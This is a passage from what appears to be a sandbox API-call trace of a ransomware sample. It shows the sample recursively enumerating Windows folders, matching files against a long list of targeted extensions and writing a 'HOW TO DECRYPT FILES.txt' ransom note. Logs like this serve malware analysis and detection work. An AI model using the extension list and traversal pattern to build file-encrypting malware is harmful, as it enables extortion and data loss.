(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.lgb") returned 0 [0109.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.mov") returned 0 [0109.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.xdw") returned 0 [0109.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.ods") returned 0 [0109.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.wav") returned 0 [0109.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.mp3") returned 0 [0109.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.aiff") returned 0 [0109.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.flac") returned 0 [0109.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.m4a") returned 0 [0109.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.csv") returned 0 [0109.024] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf884cf8b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf884cf8b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf88bf3ac, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x51a600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Editor.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.025] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.025] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf567628f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf567628f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf567628f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="b023321bc53c20c10ccbbd8f78c82c82", cAlternateFileName="B02332~1")) returned 1 [0109.025] lstrcmpA (lpString1=".", lpString2="b023321bc53c20c10ccbbd8f78c82c82") returned -1 [0109.025] lstrcmpA (lpString1="..", lpString2="b023321bc53c20c10ccbbd8f78c82c82") returned -1 [0109.025] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\*.*") returned="*.*" [0109.025] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\", lpString2="b023321bc53c20c10ccbbd8f78c82c82" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82" [0109.025] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf567628f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf567628f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf567628f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.027] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.027] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf567628f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf567628f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf567628f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.027] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.027] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.027] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf55ddd0e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf55ddd0e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf55ddd0e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xae200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ConsoleHost.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.027] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.027] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.PowerShell.ConsoleHost.ni.dll") returned -1 [0109.027] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.PowerShell.ConsoleHost.ni.dll") returned -1 [0109.027] lstrcmpiA (lpString1="", lpString2="Microsoft.PowerShell.ConsoleHost.ni.dll") returned -1 [0109.027] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\*.*") returned="*.*" [0109.027] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\" [0109.027] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\") returned="" [0109.028] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\HOW TO DECRYPT FILES.txt" [0109.028] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b023321bc53c20c10ccbbd8f78c82c82\\how to decrypt files.txt")) returned 0xffffffff [0109.028] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b023321bc53c20c10ccbbd8f78c82c82\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.032] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.034] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.034] CloseHandle (hObject=0x90) returned 1 [0109.034] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\", lpString2="Microsoft.PowerShell.ConsoleHost.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll" [0109.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.ems") returned 0 [0109.034] lstrlenA (lpString="*.ems") returned 5 [0109.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.db") returned 0 [0109.035] lstrlenA (lpString="*.db") returned 4 [0109.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.dbf") returned 0 [0109.035] lstrlenA (lpString="*.dbf") returned 5 [0109.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.myox") returned 0 [0109.035] lstrlenA (lpString="*.myox") returned 6 [0109.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.myo") returned 0 [0109.035] lstrlenA (lpString="*.myo") returned 5 [0109.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.qbw") returned 0 [0109.035] lstrlenA (lpString="*.qbw") returned 5 [0109.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.qbb") returned 0 [0109.035] lstrlenA (lpString="*.qbb") returned 5 [0109.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.qbm") returned 0 [0109.035] lstrlenA (lpString="*.qbm") returned 5 [0109.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.qbo") returned 0 [0109.035] lstrlenA (lpString="*.qbo") returned 5 [0109.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.qbx") returned 0 [0109.035] lstrlenA (lpString="*.qbx") returned 5 [0109.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.qba") returned 0 [0109.035] lstrlenA (lpString="*.qba") returned 5 [0109.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.qby") returned 0 [0109.036] lstrlenA (lpString="*.qby") returned 5 [0109.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.qbj") returned 0 [0109.036] lstrlenA (lpString="*.qbj") returned 5 [0109.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.ofx") returned 0 [0109.036] lstrlenA (lpString="*.ofx") returned 5 [0109.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.qif") returned 0 [0109.036] lstrlenA (lpString="*.qif") returned 5 [0109.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.mye") returned 0 [0109.036] lstrlenA (lpString="*.mye") returned 5 [0109.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.mbox") returned 0 [0109.036] lstrlenA (lpString="*.mbox") returned 6 [0109.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.eml") returned 0 [0109.036] lstrlenA (lpString="*.eml") returned 5 [0109.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.pst") returned 0 [0109.036] lstrlenA (lpString="*.pst") returned 5 [0109.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.ost") returned 0 [0109.036] lstrlenA (lpString="*.ost") returned 5 [0109.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.idx") returned 0 [0109.037] lstrlenA (lpString="*.idx") returned 5 [0109.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.dbx") returned 0 [0109.037] lstrlenA (lpString="*.dbx") returned 5 [0109.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.sql") returned 0 [0109.037] lstrlenA (lpString="*.sql") returned 5 [0109.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.mdb") returned 0 [0109.037] lstrlenA (lpString="*.mdb") returned 5 [0109.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.fdb") returned 0 [0109.037] lstrlenA (lpString="*.fdb") returned 5 [0109.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.wab") returned 0 [0109.037] lstrlenA (lpString="*.wab") returned 5 [0109.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.dat") returned 0 [0109.037] lstrlenA (lpString="*.dat") returned 5 [0109.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.txt") returned 0 [0109.037] lstrlenA (lpString="*.txt") returned 5 [0109.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.jpeg") returned 0 [0109.037] lstrlenA (lpString="*.jpeg") returned 6 [0109.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.jpg") returned 0 [0109.037] lstrlenA (lpString="*.jpg") returned 5 [0109.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.png") returned 0 [0109.038] lstrlenA (lpString="*.png") returned 5 [0109.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.php") returned 0 [0109.038] lstrlenA (lpString="*.php") returned 5 [0109.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.cs") returned 0 [0109.038] lstrlenA (lpString="*.cs") returned 4 [0109.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.cpp") returned 0 [0109.038] lstrlenA (lpString="*.cpp") returned 5 [0109.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.rar") returned 0 [0109.038] lstrlenA (lpString="*.rar") returned 5 [0109.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.zip") returned 0 [0109.038] lstrlenA (lpString="*.zip") returned 5 [0109.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.html") returned 0 [0109.038] lstrlenA (lpString="*.html") returned 6 [0109.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.htm") returned 0 [0109.038] lstrlenA (lpString="*.htm") returned 5 [0109.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.xlsx") returned 0 [0109.039] lstrlenA (lpString="*.xlsx") returned 6 [0109.039] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.xls") returned 0 [0109.039] lstrlenA (lpString="*.xls") returned 5 [0109.039] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.mp4") returned 0 [0109.039] lstrlenA (lpString="*.mp4") returned 5 [0109.039] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.ppt") returned 0 [0109.039] lstrlenA (lpString="*.ppt") returned 5 [0109.039] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.pptx") returned 0 [0109.039] lstrlenA (lpString="*.pptx") returned 6 [0109.039] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.doc") returned 0 [0109.039] lstrlenA (lpString="*.doc") returned 5 [0109.039] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.dot") returned 0 [0109.039] lstrlenA (lpString="*.dot") returned 5 [0109.039] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.docx") returned 0 [0109.039] lstrlenA (lpString="*.docx") returned 6 [0109.039] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.7z") returned 0 [0109.039] lstrlenA (lpString="*.7z") returned 4 [0109.039] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.tar") returned 0 [0109.040] lstrlenA (lpString="*.tar") returned 5 [0109.040] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.bz2") returned 0 [0109.040] lstrlenA (lpString="*.bz2") returned 5 [0109.040] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.gz") returned 0 [0109.040] lstrlenA (lpString="*.gz") returned 4 [0109.040] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.mkv") returned 0 [0109.040] lstrlenA (lpString="*.mkv") returned 5 [0109.040] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.eml") returned 0 [0109.040] lstrlenA (lpString="*.eml") returned 5 [0109.040] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.msg") returned 0 [0109.040] lstrlenA (lpString="*.msg") returned 5 [0109.040] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.edb") returned 0 [0109.040] lstrlenA (lpString="*.edb") returned 5 [0109.040] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.accdb") returned 0 [0109.040] lstrlenA (lpString="*.accdb") returned 7 [0109.040] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.odb") returned 0 [0109.040] lstrlenA (lpString="*.odb") returned 5 [0109.040] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.java") returned 0 [0109.041] lstrlenA (lpString="*.java") returned 6 [0109.041] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.asm") returned 0 [0109.041] lstrlenA (lpString="*.asm") returned 5 [0109.041] 